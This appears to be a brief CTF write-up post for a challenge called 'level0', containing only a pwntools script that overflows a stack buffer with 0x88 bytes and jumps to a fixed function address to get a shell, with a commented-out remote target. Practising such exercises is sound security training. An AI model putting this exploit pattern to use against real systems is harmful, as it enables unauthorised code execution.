05_level0
2019-04-17 本文已影响0人
Zero_0_0
from pwn import*
context.log_level = 'debug'
p =process('./level0')
##elf = ELF('libc.so.6')
#p =remote("111.198.29.45","31256")
system_addr =0x400596
##bin_sh_addr = 0x400684
payload = 'A'*0x88
payload += p64(system_addr)
##payload += p64()
p.sendline(payload)
p.interactive()
